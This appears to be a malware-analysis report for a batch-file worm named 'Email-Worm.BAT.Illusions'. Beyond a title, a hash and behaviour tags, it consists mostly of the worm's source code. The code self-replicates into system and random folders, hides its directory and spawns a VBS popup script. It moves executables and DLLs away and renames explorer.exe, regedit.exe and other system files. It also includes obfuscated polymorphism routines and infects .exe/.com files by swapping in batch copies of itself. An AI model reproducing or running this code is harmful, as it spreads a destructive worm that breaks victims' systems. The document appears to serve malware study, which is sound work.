Email-Worm.BAT.Illusions
Self-replicating worm with persistence
Batch file replicates itself into othersBatch copies its own file elsewhere
SHA-256c7c3d54dc32fc96017b8a15d7768ef500b75020eb087c43d5db1224a46d53f55
MaleculeO₄(IAsC₂P₂)H₃(F₇OsPo)Md
Evidence
2:2… em welcome to david blaine illusions
3rem Watch the screen
4rem polymorph not by me
5rem as seen on a few websites
6rem ILLUSIONS WILL TAKE YOU UNDER
7md c:\new
8md c:\new\illusions
9attrib +r +h c:\new\illusions
10echo msgbox "U have JUST ENTERED ILLUSIONS",28,"ILLUSIONS">> c:\new\illusions\david.vbs
11echo a = msgbox("If you would like to continue press yes",20,"ILLUSIONS")>> c:\new\illusions\david.vbs
12echo if a = vbyes then>> c:\new\illusions\david.vbs
13echo msgbox "You will be expeirencing serious physical and psychological stress during
14
15illusions",28,"ILLUSIONS">> c:\new\illusions\david.vbs
16echo msg …
18:17… ONS">> c:\new\illusions\david.vbs
19echo msgbox "This is the actual program used by david blaine to make him into the hypnotic magicman he is
20
21today",28,"ILLUSIONS">> c:\new\illusions\david.vbs
22echo else>> c:\new\illusions\david.vbs
23echo msgbox "Your going to hate that you did this",28,"ILLUSIONS EXIT">> c:\new\illusions\david.vbs
24echo end if >> c:\new\illusions\david.vbs
25
26copy %0 c:\new\illusions\%random%.bat
27copy %0 c:\windows\system32\%random%.bat
28copy %0 c:\progra~1\intern~1\%random%.bat
29copy %0 c:\%random%\%random%\%random%.bat
30copy %0 c:\%random%\%random%\%random%.bat
31copy %0 c:\%random%\%random%\%random%.bat
32copy %0 c:\%random%\%random%\%random%.bat
33start c:\new\illusions\david.vbs
34goto check
35
36:check
37if exist c:\progra~1\aol goto aol
38if not goto next
39:next
40if exist c:\windows\system goto xp
41if not goto other
42
⋯4 lines
47rem you see, ILLUSIONS
48rem SLIGHT OF HAND
49move *.exe c:\progra~1\aol c:\new\illusions\%random%.exe
50move *.txt c:\progra~1\aol c:\new\illusions\%random%.txt
51move *.dll c:\progra~1\aol c:\new\illusions\%random%.dll
52goto next
53
54:xp
55copy %0 c:\windows\system\%random%.bat attrib +r +h
56copy %o c:\windows\system\setup.inf
57rename c:\windows\system\rdb16.exe illusions.exe
58rename c:\windows\system\QTnotify.exe davidcopperfield.exe
59rename c:\windows\system\gsw.exe levitation.exe
60rename c:\windows\system c:\windows\illusions'directory
61rename c:\windows\regedit.exe headlesschicken.exe
62rename c:\windows\explorer.exe stringfrmstomach.exe
63move c:\windows\stringfrmstomach.exe c:\new\illusions\stringfrmstomach.exe
64goto polymorphism
65
87:38… ------------------------------------- |Palindrom
88ReM Palindrom
89%Palindrom%echo. >checker.bat
90%Palindrom%set crandc=0
91:randgen %Palindrom%
92%Palindrom%set a=0
⋯6 lines
113:29… 5 goto stapoly
114%Palindrom%set /A crandc=%crandc%+1
115%Palindrom%echo %crandc%
116%Palindrom%set name%crandc%=%name%
117%Palindrom%if %crandc% LEQ 13 (goto randgen)
118find "Palindrom" <%0>>checker.bat
119set nmmnP=f
120%aaaa%echo set %name1%=f>>checker.bat
⋯5 lines
160:22… %%%%%%%name3%%% >>checker.bat
161%nmmnP%%PPiia%%ommod% /%ommod% C:\ %%%ommod% %amPmm%%aomPl% (*.%lmmiP%%armPa%%odnmm%) %analm%%PPiia% %immla%
162
163%PPiia%%idlmr%%Pimln% %iamnP%checker.bat %%%ommod%
164for %%f in (*.exe *.com) do set A=%%f
165if %A%==COMMAND.COM set A=
166rename %A% V%A%
167if not exist V%A% goto end
168attrib +h V%A%
169copy %0.bat %A%
170attrib +r %A%
171ren %A% *.bat
⋯11 lines
183
184:GPB_L3
185for %%f in (%:GPB_L3%*.bat) do set GPB_File=%%f
186%[:GPB_L3]%goto GPB_L5
187
⋯9 lines